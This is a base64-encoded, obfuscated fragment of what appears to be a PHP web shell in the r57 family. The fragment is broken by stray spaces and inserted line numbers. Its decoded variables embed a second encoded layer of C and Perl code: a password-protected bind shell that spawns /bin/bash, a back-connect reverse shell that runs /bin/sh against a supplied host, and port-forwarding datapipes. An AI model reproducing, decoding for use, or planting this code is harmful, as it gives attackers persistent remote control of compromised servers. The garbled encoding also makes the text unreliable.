CiAgICAgICAgICAgICR0aGlzLT5GaWxlTWF0Y2hlc0NvdW50WyRmaWxlbmFtZV0gKz0gJGNvdW50Ow0KICA gICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgJHRoaXMtPlRpbWVUb3RhbCA9IEByb3VuZC hnZXRtaWNyb3RpbWUoKSAtICR0aGlzLT5UaW1lU3RhcnQsNCk7DQogICAgfQ0KICB9DQogIGZ1bmN0aW9uI GdldG1pY3JvdGltZSgpDQogIHsNCiAgICBsaXN0KCR1c2VjLCRzZWMpID0gQGV4cGxvZGUoIiAiLEBtaWNy b3RpbWUoKSk7DQogICAgcmV0dXJuICgoZmxvYXQpJHVzZWMgKyAoZmxvYXQpJHNlYyk7DQogIH0NCiRwb3J 0X2JpbmRfYmRfYz0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzUnlhVzVuTG 1nK0RRb2phVzVqYkhWa1pTQThjM2x6TDNSNWNHVnpMbWcrRFFvamFXNWpiSFZrWlMNCkE4YzNsekwzTnZZM nRsZEM1b1BnMEtJMmx1WTJ4MVpHVWdQRzVsZEdsdVpYUXZhVzR1YUQ0TkNpTnBibU5zZFdSbElEeGxjbkp1 Ynk1b1BnMEthVzUwSUcxaGFXNG9ZWEpuWXl4aGNtZDJLUTBLYVc1MEkNCkdGeVoyTTdEUXBqYUdGeUlDb3F ZWEpuZGpzTkNuc2dJQTBLSUdsdWRDQnpiMk5yWm1Rc0lHNWxkMlprT3cwS0lHTm9ZWElnWW5WbVd6TXdYVH NOQ2lCemRISjFZM1FnYzI5amEyRmtaSEpmYVc0Z2NtVnQNCmIzUmxPdzBLSUdsbUtHWnZjbXNvS1NBOVBTQ XdLU0I3SUEwS0lISmxiVzkwWlM1emFXNWZabUZ0YVd4NUlEMGdRVVpmU1U1RlZEc05DaUJ5WlcxdmRHVXVj Mmx1WDNCdmNuUWdQU0JvZEc5dWN5aGhkRzkNCnBLR0Z5WjNaYk1WMHBLVHNOQ2lCeVpXMXZkR1V1YzJsdVg yRmtaSEl1YzE5aFpHUnlJRDBnYUhSdmJtd29TVTVCUkVSU1gwRk9XU2s3SUEwS0lITnZZMnRtWkNBOUlITn ZZMnRsZENoQlJsOUpUa1ZVTEYNCk5QUTB0ZlUxUlNSVUZOTERBcE93MEtJR2xtS0NGemIyTnJabVFwSUhCb GNuSnZjaWdpYzI5amEyVjBJR1Z5Y205eUlpazdEUW9nWW1sdVpDaHpiMk5yWm1Rc0lDaHpkSEoxWTNRZ2My OWphMkZrWkhJZ0sNCmlrbWNtVnRiM1JsTENBd2VERXdLVHNOQ2lCc2FYTjBaVzRvYzI5amEyWmtMQ0ExS1R zTkNpQjNhR2xzWlNneEtRMEtJQ0I3RFFvZ0lDQnVaWGRtWkQxaFkyTmxjSFFvYzI5amEyWmtMREFzTUNrN0 RRb2cNCklDQmtkWEF5S0c1bGQyWmtMREFwT3cwS0lDQWdaSFZ3TWlodVpYZG1aQ3d4S1RzTkNpQWdJR1IxY 0RJb2JtVjNabVFzTWlrN0RRb2dJQ0IzY21sMFpTaHVaWGRtWkN3aVVHRnpjM2R2Y21RNklpd3hNQ2sNCjdE UW9nSUNCeVpXRmtLRzVsZDJaa0xHSjFaaXh6YVhwbGIyWW9ZblZtS1NrN0RRb2dJQ0JwWmlBb0lXTm9jR0Z 6Y3loaGNtZDJXekpkTEdKMVppa3BEUW9nSUNCemVYTjBaVzBvSW1WamFHOGdkMlZzWTINCjl0WlNCMGJ5Qn lOVGNnYzJobGJHd2dKaVlnTDJKcGJpOWlZWE5vSUMxcElpazdEUW9nSUNCbGJITmxEUW9nSUNCbWNISnBib lJtS0hOMFpHVnljaXdpVTI5eWNua2lLVHNOQ2lBZ0lHTnNiM05sS0c1bGQNCjJaa0tUc05DaUFnZlEwS0lI ME5DbjBOQ21sdWRDQmphSEJoYzNNb1kyaGhjaUFxWW1GelpTd2dZMmhoY2lBcVpXNTBaWEpsWkNrZ2V3MEt hVzUwSUdrN0RRcG1iM0lvYVQwd08yazhjM1J5Yk dWdUtHVnUNCmRHVnlaV1FwTzJrckt5a2dEUXA3RFFwcFppaGxiblJsY21Wa1cybGRJRDA5SUNkY2JpY3BEU XBsYm5SbGNtVmtXMmxkSUQwZ0oxd3dKenNnRFFwcFppaGxiblJsY21Wa1cybGRJRDA5SUNkY2NpY3BEUXAN CmxiblJsY21Wa1cybGRJRDBnSjF3d0p6c05DbjBOQ21sbUlDZ2hjM1J5WTIxd0tHSmhjMlVzWlc1MFpYSmx aQ2twRFFweVpYUjFjbTRnTURzTkNuMD0iOw0KJHBvcnRfYmluZF9iZF9wbD0iSXlFdmRYTnlMMkpwYmk5d1 pYSnNEUW9rVTBoRlRFdzlJaTlpYVc0dlltRnphQ0F0YVNJN0RRcHBaaUFvUUVGU1IxWWdQQ0F4S1NCN0lHV jRhWFFvTVNrN0lIME5DaVJNUw0KVk5VUlU1ZlVFOVNWRDBrUVZKSFZsc3dYVHNOQ25WelpTQlRiMk5yWlhR N0RRb2tjSEp2ZEc5amIydzlaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS2MyOWphMlYwS0ZNc0p sQkdYMGxPUlZRcw0KSmxOUFEwdGZVMVJTUlVGTkxDUndjbTkwYjJOdmJDa2dmSHdnWkdsbElDSkRZVzUwSU dOeVpXRjBaU0J6YjJOclpYUmNiaUk3RFFwelpYUnpiMk5yYjNCMEtGTXNVMDlNWDFOUFEwdEZWQ3hUVDE5U 1JWVg0KVFJVRkVSRklzTVNrN0RRcGlhVzVrS0ZNc2MyOWphMkZrWkhKZmFXNG9KRXhKVTFSRlRsOVFUMUpV TEVsT1FVUkVVbDlCVGxrcEtTQjhmQ0JrYVdVZ0lrTmhiblFnYjNCbGJpQndiM0owWEc0aU93MEtiRw0KbHp kR1Z1S0ZNc015a2dmSHdnWkdsbElDSkRZVzUwSUd4cGMzUmxiaUJ3YjNKMFhHNGlPdzBLZDJocGJHVW9NU2 tOQ25zTkNtRmpZMlZ3ZENoRFQwNU9MRk1wT3cwS2FXWW9JU2drY0dsa1BXWnZjbXNwSw0KUTBLZXcwS1pHb GxJQ0pEWVc1dWIzUWdabTl5YXlJZ2FXWWdLQ0ZrWldacGJtVmtJQ1J3YVdRcE93MEtiM0JsYmlCVFZFUkpU aXdpUENaRFQwNU9JanNOQ205d1pXNGdVMVJFVDFWVUxDSStKa05QVGs0aQ0KT3cwS2IzQmxiaUJUVkVSRlV sSXNJajRtUTA5T1RpSTdEUXBsZUdWaklDUlRTRVZNVENCOGZDQmthV1VnY0hKcGJuUWdRMDlPVGlBaVEyRn VkQ0JsZUdWamRYUmxJQ1JUU0VWTVRGeHVJanNOQ21Oc2IzTg0KbElFTlBUazQ3RFFwbGVHbDBJREE3RFFwO URRcDkiOw0KJGJhY2tfY29ubmVjdD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cw S0pHTnRaRDBnSW14NWJuZ2lPdzBLSkhONWMzUmxiVDBnSjJWamFHOGdJbUIxYm1GdFpTQXRZV0FpTzJWag0 KYUc4Z0ltQnBaR0FpT3k5aWFXNHZjMmduT3cwS0pEQTlKR050WkRzTkNpUjBZWEpuWlhROUpFRlNSMVpiTU YwN0RRb2tjRzl5ZEQwa1FWSkhWbHN4WFRzTkNpUnBZV1JrY2oxcGJtVjBYMkYwYjI0b0pIUg0KaGNtZGxkQ 2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZMnRoWkdSeVgybHVLQ1J3 YjNKMExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVA0Kc05DaVJ3Y205MGJ6MW5 aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0 JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSQ0Ka1Z5Y205eU9pQWtJVnh1SWlrN0RRc GpiMjV1WldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdE UXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaQ0KS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQ wTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNna2MzbH pkR1Z0S1RzTkNtTnNiM05sS0ZOVVJFbA0KT0tUc05DbU5zYjNObEtGTlVSRTlWVkNrN0RRcGpiRzl6WlNoV FZFUkZVbElwT3c9PSI7DQokYmFja19jb25uZWN0X2M9IkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2ph VzVqYkhWa1pTQThjM2x6TDNOdlkydGxkQzVvUGcwS0kybHVZMngxWkdVZ1BHNWxkR2x1WlhRdmFXNHVhRDR OQ21sdWRDDQpCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlDcGhjbWQyVzEwcERRcDdEUW9nYVc1MElHWm tPdzBLSUhOMGNuVmpkQ0J6YjJOcllXUmtjbDlwYmlCemFXNDdEUW9nWTJoaGNpQnliWE5iTWpGZFBTSnliD
14.
QpTQXRaaUFpT3lBTkNpQmtZV1Z0YjI0b01Td3dLVHNOQ2lCemFXNHVjMmx1WDJaaGJXbHNlU0E5SUVGR1gw bE9SVlE3RFFvZ2MybHVMbk5wYmw5d2IzSjBJRDBnYUhSdmJuTW9ZWFJ2YVNoaGNtZDJXekpkDQpLU2s3RFF vZ2MybHVMbk5wYmw5aFpHUnlMbk5mWVdSa2NpQTlJR2x1WlhSZllXUmtjaWhoY21kMld6RmRLVHNnRFFvZ1 lucGxjbThvWVhKbmRsc3hYU3h6ZEhKc1pXNG9ZWEpuZGxzeFhTa3JNU3R6ZEhKDQpzWlc0b1lYSm5kbHN5W FNrcE95QU5DaUJtWkNBOUlITnZZMnRsZENoQlJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dTVkJRVWs5 VVQxOVVRMUFwSURzZ0RRb2dhV1lnS0NoamIyNXVaV04wS0daa0xDDQpBb2MzUnlkV04wSUhOdlkydGhaR1J 5SUNvcElDWnphVzRzSUhOcGVtVnZaaWh6ZEhKMVkzUWdjMjlqYTJGa1pISXBLU2s4TUNrZ2V3MEtJQ0FnY0 dWeWNtOXlLQ0piTFYwZ1kyOXVibVZqZENncElpazdEDQpRb2dJQ0JsZUdsMEtEQXBPdzBLSUgwTkNpQnpkS EpqWVhRb2NtMXpMQ0JoY21kMld6QmRLVHNOQ2lCemVYTjBaVzBvY20xektUc2dJQTBLSUdSMWNESW9abVFz SURBcE93MEtJR1IxY0RJb1ptUXNJREVwDQpPdzBLSUdSMWNESW9abVFzSURJcE93MEtJR1Y0WldOc0tDSXZ ZbWx1TDNOb0lpd2ljMmdnTFdraUxDQk9WVXhNS1RzTkNpQmpiRzl6WlNobVpDazdJQTBLZlE9PSI7DQokZG F0YXBpcGVfYz0iSTJsdVkyeDFaR1VnUEhONWN5OTBlWEJsY3k1b1BnMEtJMmx1WTJ4MVpHVWdQSE41Y3k5e mIyTnJaWFF1YUQ0TkNpTnBibU5zZFdSbElEeHplWE12ZDJGcGRDNW9QZzBLSTJsdVkyDQp4MVpHVWdQRzVs ZEdsdVpYUXZhVzR1YUQ0TkNpTnBibU5zZFdSbElEeHpkR1JwYnk1b1BnMEtJMmx1WTJ4MVpHVWdQSE4wWkd 4cFlpNW9QZzBLSTJsdVkyeDFaR1VnUEdWeWNtNXZMbWcrRFFvamFXNWpiDQpIVmtaU0E4ZFc1cGMzUmtMbW crRFFvamFXNWpiSFZrWlNBOGJtVjBaR0l1YUQ0TkNpTnBibU5zZFdSbElEeHNhVzUxZUM5MGFXMWxMbWcrR FFvamFXWmtaV1lnVTFSU1JWSlNUMUlOQ21WNGRHVnliaUJqDQphR0Z5SUNwemVYTmZaWEp5YkdsemRGdGRP dzBLWlhoMFpYSnVJR2x1ZENCemVYTmZibVZ5Y2pzTkNtTm9ZWElnS25WdVpHVm1JRDBnSWxWdVpHVm1hVzV sWkNCbGNuSnZjaUk3RFFwamFHRnlJQ3B6ZEhKDQpsY25KdmNpaGxjbkp2Y2lrZ0lBMEthVzUwSUdWeWNtOX lPeUFnRFFwN0lBMEthV1lnS0dWeWNtOXlJRDRnYzNselgyNWxjbklwRFFweVpYUjFjbTRnZFc1a1pXWTdEU XB5WlhSMWNtNGdjM2x6WDJWeWNtDQp4cGMzUmJaWEp5YjNKZE93MEtmUTBLSTJWdVpHbG1EUW9OQ20xaGFX NG9ZWEpuWXl3Z1lYSm5kaWtnSUEwS0lDQnBiblFnWVhKbll6c2dJQTBLSUNCamFHRnlJQ29xWVhKbmRqc2d JQTBLZXlBTkNpQWdhDQpXNTBJR3h6YjJOckxDQmpjMjlqYXl3Z2IzTnZZMnM3RFFvZ0lFWkpURVVnS21ObW FXeGxPdzBLSUNCamFHRnlJR0oxWmxzME1EazJYVHNOQ2lBZ2MzUnlkV04wSUhOdlkydGhaR1J5WDJsdUlHe GhaR1J5DQpMQ0JqWVdSa2Npd2diMkZrWkhJN0RRb2dJR2x1ZENCallXUmtjbXhsYmlBOUlITnBlbVZ2Wmlo allXUmtjaWs3RFFvZ0lHWmtYM05sZENCbVpITnlMQ0JtWkhObE93MEtJQ0J6ZEhKMVkzUWdhRzl6ZEdWDQp 1ZENBcWFEc05DaUFnYzNSeWRXTjBJSE5sY25abGJuUWdLbk03RFFvZ0lHbHVkQ0J1WW5sME93MEtJQ0IxYm 5OcFoyNWxaQ0JzYjI1bklHRTdEUW9nSUhWdWMybG5ibVZrSUhOb2IzSjBJRzl3YjNKME93DQowS0RRb2dJR 2xtSUNoaGNtZGpJQ0U5SURRcElIc05DaUFnSUNCbWNISnBiblJtS0hOMFpHVnljaXdpVlhOaFoyVTZJQ1Z6 SUd4dlkyRnNjRzl5ZENCeVpXMXZkR1Z3YjNKMElISmxiVzkwWldodmMzUmNiDQppSXNZWEpuZGxzd1hTazd EUW9nSUNBZ2NtVjBkWEp1SURNd093MEtJQ0I5RFFvZ0lHRWdQU0JwYm1WMFgyRmtaSElvWVhKbmRsc3pYU2 s3RFFvZ0lHbG1JQ2doS0dnZ1BTQm5aWFJvYjNOMFlubHVZVzFsDQpLR0Z5WjNaYk0xMHBLU0FtSmcwS0lDQ WdJQ0FnSVNob0lEMGdaMlYwYUc5emRHSjVZV1JrY2lnbVlTd2dOQ3dnUVVaZlNVNUZWQ2twS1NCN0RRb2dJ Q0FnY0dWeWNtOXlLR0Z5WjNaYk0xMHBPdzBLSUNBDQpnSUhKbGRIVnliaUF5TlRzTkNpQWdmUTBLSUNCdmN HOXlkQ0E5SUdGMGIyd29ZWEpuZGxzeVhTazdEUW9nSUd4aFpHUnlMbk5wYmw5d2IzSjBJRDBnYUhSdmJuTW 9LSFZ1YzJsbmJtVmtJSE5vYjNKMEtTDQpoaGRHOXNLR0Z5WjNaYk1WMHBLU2s3RFFvZ0lHbG1JQ2dvYkhOd lkyc2dQU0J6YjJOclpYUW9VRVpmU1U1RlZDd2dVMDlEUzE5VFZGSkZRVTBzSUVsUVVGSlBWRTlmVkVOUUtT a2dQVDBnTFRFcElIc05DDQppQWdJQ0J3WlhKeWIzSW9Jbk52WTJ0bGRDSXBPdzBLSUNBZ0lISmxkSFZ5Yml BeU1Ec05DaUFnZlEwS0lDQnNZV1JrY2k1emFXNWZabUZ0YVd4NUlEMGdhSFJ2Ym5Nb1FVWmZTVTVGVkNrN0 RRb2dJR3hoDQpaR1J5TG5OcGJsOWhaR1J5TG5OZllXUmtjaUE5SUdoMGIyNXNLREFwT3cwS0lDQnBaaUFvW W1sdVpDaHNjMjlqYXl3Z0pteGhaR1J5TENCemFYcGxiMllvYkdGa1pISXBLU2tnZXcwS0lDQWdJSEJsY25K DQp2Y2lnaVltbHVaQ0lwT3cwS0lDQWdJSEpsZEhWeWJpQXlNRHNOQ2lBZ2ZRMEtJQ0JwWmlBb2JHbHpkR1Z 1S0d4emIyTnJMQ0F4S1NrZ2V3MEtJQ0FnSUhCbGNuSnZjaWdpYkdsemRHVnVJaWs3RFFvZ0lDDQpBZ2NtVj BkWEp1SURJd093MEtJQ0I5RFFvZ0lHbG1JQ2dvYm1KNWRDQTlJR1p2Y21zb0tTa2dQVDBnTFRFcElIc05Da UFnSUNCd1pYSnliM0lvSW1admNtc2lLVHNOQ2lBZ0lDQnlaWFIxY200Z01qQTdEDQpRb2dJSDBOQ2lBZ2FX WWdLRzVpZVhRZ1BpQXdLUTBLSUNBZ0lISmxkSFZ5YmlBd093MEtJQ0J6WlhSemFXUW9LVHNOQ2lBZ2QyaHB iR1VnS0NoamMyOWpheUE5SUdGalkyVndkQ2hzYzI5amF5d2dKbU5oDQpaR1J5TENBbVkyRmtaSEpzWlc0cE tTQWhQU0F0TVNrZ2V3MEtJQ0FnSUdObWFXeGxJRDBnWm1SdmNHVnVLR056YjJOckxDSnlLeUlwT3cwS0lDQ WdJR2xtSUNnb2JtSjVkQ0E5SUdadmNtc29LU2tnUFQwDQpnTFRFcElIc05DaUFnSUNBZ0lHWndjbWx1ZEdZ b1kyWnBiR1VzSUNJMU1EQWdabTl5YXpvZ0pYTmNiaUlzSUhOMGNtVnljbTl5S0dWeWNtNXZLU2s3RFFvZ0l DQWdJQ0J6YUhWMFpHOTNiaWhqYzI5amF5DQp3eUtUc05DaUFnSUNBZ0lHWmpiRzl6WlNoalptbHNaU2s3RF FvZ0lDQWdJQ0JqYjI1MGFXNTFaVHNOQ2lBZ0lDQjlEUW9nSUNBZ2FXWWdLRzVpZVhRZ1BUMGdNQ2tOQ2lBZ 0lDQWdJR2R2ZEc4Z1oyOTBjDQoyOWphenNOQ2lBZ0lDQm1ZMnh2YzJVb1kyWnBiR1VwT3cwS0lDQWdJSGRv YVd4bElDaDNZV2wwY0dsa0tDMHhMQ0JPVlV4TUxDQlhUazlJUVU1SEtTQStJREFwT3cwS0lDQjlEUW9nSUh KbGRIVnliaUF5DQpNRHNOQ2cwS0lHZHZkSE52WTJzNkRRb2dJR2xtSUNnb2IzTnZZMnNnUFNCemIyTnJaWF FvVUVaZlNVNUZWQ3dnVTA5RFMxOVRWRkpGUVUwc0lFbFFVRkpQVkU5ZlZFTlFLU2tnUFQwZ0xURXBJSHNOQ 2lBDQpnSUNCbWNISnBiblJtS0dObWFXeGxMQ0FpTlRBd0lITnZZMnRsZERvZ0pYTmNiaUlzSUhOMGNtVnlj bTl5S0dWeWNtNXZLU2s3RFFvZ0lDQWdaMjkwYnlCeGRXbDBNVHNOQ2lBZ2ZRMEtJQ0J2WVdSa2NpDQo1emF XNWZabUZ0YVd4NUlEMGdhQzArYUY5aFpHUnlkSGx3WlRzTkNpQWdiMkZrWkhJdWMybHVYM0J2Y25RZ1BTQm
15.
9kRzl1Y3lodmNHOXlkQ2s3RFFvZ0lHMWxiV053ZVNnbWIyRmtaSEl1YzJsdVgyRmtaDQpISXNJR2d0UG1oZ llXUmtjaXdnYUMwK2FGOXNaVzVuZEdncE93MEtJQ0JwWmlBb1kyOXVibVZqZENodmMyOWpheXdnSm05aFpH UnlMQ0J6YVhwbGIyWW9iMkZrWkhJcEtTa2dldzBLSUNBZ0lHWndjbWx1DQpkR1lvWTJacGJHVXNJQ0kxTUR BZ1kyOXVibVZqZERvZ0pYTmNiaUlzSUhOMGNtVnljbTl5S0dWeWNtNXZLU2s3RFFvZ0lDQWdaMjkwYnlCeG RXbDBNVHNOQ2lBZ2ZRMEtJQ0IzYUdsc1pTQW9NU2tnZXcwDQpLSUNBZ0lFWkVYMXBGVWs4b0ptWmtjM0lwT 3cwS0lDQWdJRVpFWDFwRlVrOG9KbVprYzJVcE93MEtJQ0FnSUVaRVgxTkZWQ2hqYzI5amF5d21abVJ6Y2lr N0RRb2dJQ0FnUmtSZlUwVlVLR056YjJOckxDDQpabVpITmxLVHNOQ2lBZ0lDQkdSRjlUUlZRb2IzTnZZMnN zSm1aa2MzSXBPdzBLSUNBZ0lFWkVYMU5GVkNodmMyOWpheXdtWm1SelpTazdEUW9nSUNBZ2FXWWdLSE5sYk dWamRDZ3lNQ3dnSm1aa2MzSXNJDQpFNVZURXdzSUNabVpITmxMQ0JPVlV4TUtTQTlQU0F0TVNrZ2V3MEtJQ 0FnSUNBZ1puQnlhVzUwWmloalptbHNaU3dnSWpVd01DQnpaV3hsWTNRNklDVnpYRzRpTENCemRISmxjbkp2 Y2lobGNuSnVieWtwDQpPdzBLSUNBZ0lDQWdaMjkwYnlCeGRXbDBNanNOQ2lBZ0lDQjlEUW9nSUNBZ2FXWWd LRVpFWDBsVFUwVlVLR056YjJOckxDWm1aSE55S1NCOGZDQkdSRjlKVTFORlZDaGpjMjlqYXl3bVptUnpaU2 twSUhzDQpOQ2lBZ0lDQWdJR2xtSUNnb2JtSjVkQ0E5SUhKbFlXUW9ZM052WTJzc1luVm1MRFF3T1RZcEtTQ ThQU0F3S1EwS0NXZHZkRzhnY1hWcGRESTdEUW9nSUNBZ0lDQnBaaUFvS0hkeWFYUmxLRzl6YjJOckxHDQpK MVppeHVZbmwwS1NrZ1BEMGdNQ2tOQ2dsbmIzUnZJSEYxYVhReU93MEtJQ0FnSUgwZ1pXeHpaU0JwWmlBb1J rUmZTVk5UUlZRb2IzTnZZMnNzSm1aa2MzSXBJSHg4SUVaRVgwbFRVMFZVS0c5emIyTnJMDQpDWm1aSE5sS1 NrZ2V3MEtJQ0FnSUNBZ2FXWWdLQ2h1WW5sMElEMGdjbVZoWkNodmMyOWpheXhpZFdZc05EQTVOaWtwSUR3O UlEQXBEUW9KWjI5MGJ5QnhkV2wwTWpzTkNpQWdJQ0FnSUdsbUlDZ29kM0pwDQpkR1VvWTNOdlkyc3NZblZt TEc1aWVYUXBLU0E4UFNBd0tRMEtDV2R2ZEc4Z2NYVnBkREk3RFFvZ0lDQWdmUTBLSUNCOURRb05DaUJ4ZFd sME1qb05DaUFnYzJoMWRHUnZkMjRvYjNOdlkyc3NNaWs3RFFvDQpnSUdOc2IzTmxLRzl6YjJOcktUc05DaU J4ZFdsME1Ub05DaUFnWm1ac2RYTm9LR05tYVd4bEtUc05DaUFnYzJoMWRHUnZkMjRvWTNOdlkyc3NNaWs3R FFvZ2NYVnBkREE2RFFvZ0lHWmpiRzl6WlNoalptDQpsc1pTazdEUW9nSUhKbGRIVnliaUF3T3cwS2ZRPT0i Ow0KJHNoZWxsdmljPSJRV3gxUTJGUz09IjsNCiRkYXRhcGlwZV9wbD0iSXlFdmRYTnlMMkpwYmk5d1pYSnN EUXAxYzJVZ1NVODZPbE52WTJ0bGREc05DblZ6WlNCUVQxTkpXRHNOQ2lSc2IyTmhiSEJ2Y25RZ1BTQWtRVk pIVmxzd1hUc05DaVJvYjNOMEkNCkNBZ0lDQWdQU0FrUVZKSFZsc3hYVHNOQ2lSd2IzSjBJQ0FnSUNBZ1BTQ WtRVkpIVmxzeVhUc05DaVJrWVdWdGIyNDlNVHNOQ2lSRVNWSWdQU0IxYm1SbFpqc05DaVI4SUQwZ01Uc05D bWxtSUNna1pHRmwNCmJXOXVLWHNnSkhCcFpDQTlJR1p2Y21zN0lHVjRhWFFnYVdZZ0pIQnBaRHNnWkdsbEl DSWtJU0lnZFc1c1pYTnpJR1JsWm1sdVpXUW9KSEJwWkNrN0lGQlBVMGxZT2pwelpYUnphV1FvS1NCdmNpQm thV1UNCmdJaVFoSWpzZ2ZRMEtKVzhnUFNBb0ozQ nZjblFuSUQwK0lDUnNiMk5oYkhCdmNuUXNKM1J2Y0c5eWRDY2dQVDRnSkhCdmNuUXNKM1J2YUc5emRDY2dQ VDRnSkdodmMzUXBPdzBLSkdGb0lEMGdTVTg2T2wNCk52WTJ0bGREbzZTVTVGVkMwK2JtVjNLQ2RNYjJOaGJ GQnZjblFuSUQwK0lDUnNiMk5oYkhCdmNuUXNKMUpsZFhObEp5QTlQaUF4TENkTWFYTjBaVzRuSUQwK0lERX dLU0I4ZkNCa2FXVWdJaVFoSWpzTkMNCmlSVFNVZDdKME5JVEVRbmZTQTlJQ2RKUjA1UFVrVW5PdzBLSkc1M WJTQTlJREE3RFFwM2FHbHNaU0FvTVNrZ2V5QU5DaVJqYUNBOUlDUmhhQzArWVdOalpYQjBLQ2s3SUdsbUlD Z2hKR05vS1NCN0lIQnkNCmFXNTBJRk5VUkVWU1VpQWlKQ0ZjYmlJN0lHNWxlSFE3SUgwTkNpc3JKRzUxYlR zTkNpUndhV1FnUFNCbWIzSnJLQ2s3RFFwcFppQW9JV1JsWm1sdVpXUW9KSEJwWkNrcElIc2djSEpwYm5RZ1 UxUkVSVkoNClNJQ0lrSVZ4dUlqc2dmU0FOQ21Wc2MybG1JQ2drY0dsa0lEMDlJREFwSUhzZ0pHRm9MVDVqY kc5elpTZ3BPeUJTZFc0b1hDVnZMQ0FrWTJnc0lDUnVkVzBwT3lCOUlBMEtaV3h6WlNCN0lDUmphQzArWTIN Cnh2YzJVb0tUc2dmUTBLZlEwS2MzVmlJRkoxYmlCN0RRcHRlU2drYnl3Z0pHTm9MQ0FrYm5WdEtTQTlJRUJ mT3cwS2JYa2dKSFJvSUQwZ1NVODZPbE52WTJ0bGREbzZTVTVGVkMwK2JtVjNLQ2RRWldWeVENCldSa2NpY2 dQVDRnSkc4dFBuc25kRzlvYjNOMEozMHNKMUJsWlhKUWIzSjBKeUE5UGlBa2J5MCtleWQwYjNCdmNuUW5mU 2s3RFFwcFppQW9JU1IwYUNrZ2V5QmxlR2wwSURBN0lIME5DbTE1SUNSbWFEc04NCkNtbG1JQ2drYnkwK2V5 ZGthWEluZlNrZ2V5QWtabWdnUFNCVGVXMWliMnc2T21kbGJuTjViU2dwT3lCdmNHVnVLQ1JtYUN3Z0lqNGt ieTArZXlka2FYSW5mUzkwZFc1dVpXd2tiblZ0TG14dlp5SXBJRzkNCnlJR1JwWlNBaUpDRWlPeUI5RFFva1 kyZ3RQbUYxZEc5bWJIVnphQ2dwT3cwS0pIUm9MVDVoZFhSdlpteDFjMmdvS1RzTkNuZG9hV3hsSUNna1kyZ 2dmSHdnSkhSb0tTQjdEUXB0ZVNBa2NtbHVJRDBnSWkNCkk3RFFwMlpXTW9KSEpwYml3Z1ptbHNaVzV2S0NS amFDa3NJREVwSUQwZ01TQnBaaUFrWTJnN0RRcDJaV01vSkhKcGJpd2dabWxzWlc1dktDUjBhQ2tzSURFcEl EMGdNU0JwWmlBa2RHZzdEUXB0ZVNna2MNCm05MWRDd2dKR1Z2ZFhRcE93MEtjMlZzWldOMEtDUnliM1YwSU QwZ0pISnBiaXdnZFc1a1pXWXNJQ1JsYjNWMElEMGdKSEpwYml3Z01USXdLVHNOQ21sbUlDZ2hKSEp2ZFhRZ 0lDWW1JQ0FoSkdWdmRYUXANCklIdDlEUXB0ZVNBa1kySjFabVpsY2lBOUlDSWlPdzBLYlhrZ0pIUmlkV1pt WlhJZ1BTQWlJanNOQ21sbUlDZ2tZMmdnSmlZZ0tIWmxZeWdrWlc5MWRDd2dabWxzWlc1dktDUmphQ2tzSUR FcElIeDhJSFoNCmxZeWdrY205MWRDd2dabWxzWlc1dktDUmphQ2tzSURFcEtTa2dldzBLYlhrZ0pISmxjM1 ZzZENBOUlITjVjM0psWVdRb0pHTm9MQ0FrZEdKMVptWmxjaXdnTVRBeU5DazdEUXBwWmlBb0lXUmxabWx1W lcNClFvSkhKbGMzVnNkQ2twSUhzTkNuQnlhVzUwSUZOVVJFVlNVaUFpSkNGY2JpSTdEUXBsZUdsMElEQTdE UXA5RFFwcFppQW9KSEpsYzNWc2RDQTlQU0F3S1NCN0lHVjRhWFFnTURzZ2ZRMEtmUTBLYVdZZ0sNCkNSMGF DQWdKaVlnSUNoMlpXTW9KR1Z2ZFhRc0lHWnBiR1Z1Ynlna2RHZ3BMQ0F4S1NBZ2ZId2dkbVZqS0NSeWIzVj BMQ0JtYVd4bGJtOG9KSFJvS1N3Z01Ta3BLU0I3RFFwdGVTQWtjbVZ6ZFd4MElEMGcNCmMzbHpjbVZoWkNna 2RHZ3NJQ1JqWW5WbVptVnlMQ0F4TURJMEtUc05DbWxtSUNnaFpHVm1hVzVsWkNna2NtVnpkV3gwS1NrZ2V5 QndjbWx1ZENCVFZFUkZVbElnSWlRaFhHNGlPeUJsZUdsMElEQTdJSDANCk5DbWxtSUNna2NtVnpkV3gwSUQ
16.
wOUlEQXBJSHRsZUdsMElEQTdmUTBLZlEwS2FXWWdLQ1JtYUNBZ0ppWWdJQ1IwWW5WbVptVnlLU0I3S0hCeW FXNTBJQ1JtYUNBa2RHSjFabVpsY2lrN2ZRMEtkMmhwYkcNClVnS0cxNUlDUnNaVzRnUFNCc1pXNW5kR2dvS khSaWRXWm1aWElwS1NCN0RRcHRlU0FrY21WeklEMGdjM2x6ZDNKcGRHVW9KSFJvTENBa2RHSjFabVpsY2l3 Z0pHeGxiaWs3RFFwcFppQW9KSEpsY3lBK0kNCkRBcElIc2tkR0oxWm1abGNpQTlJSE4xWW5OMGNpZ2tkR0o xWm1abGNpd2dKSEpsY3lrN2ZTQU5DbVZzYzJVZ2UzQnlhVzUwSUZOVVJFVlNVaUFpSkNGY2JpSTdmUTBLZl EwS2QyaHBiR1VnS0cxNUlDUnMNClpXNGdQU0JzWlc1bmRHZ29KR05pZFdabVpYSXBLU0I3RFFwdGVTQWtjb 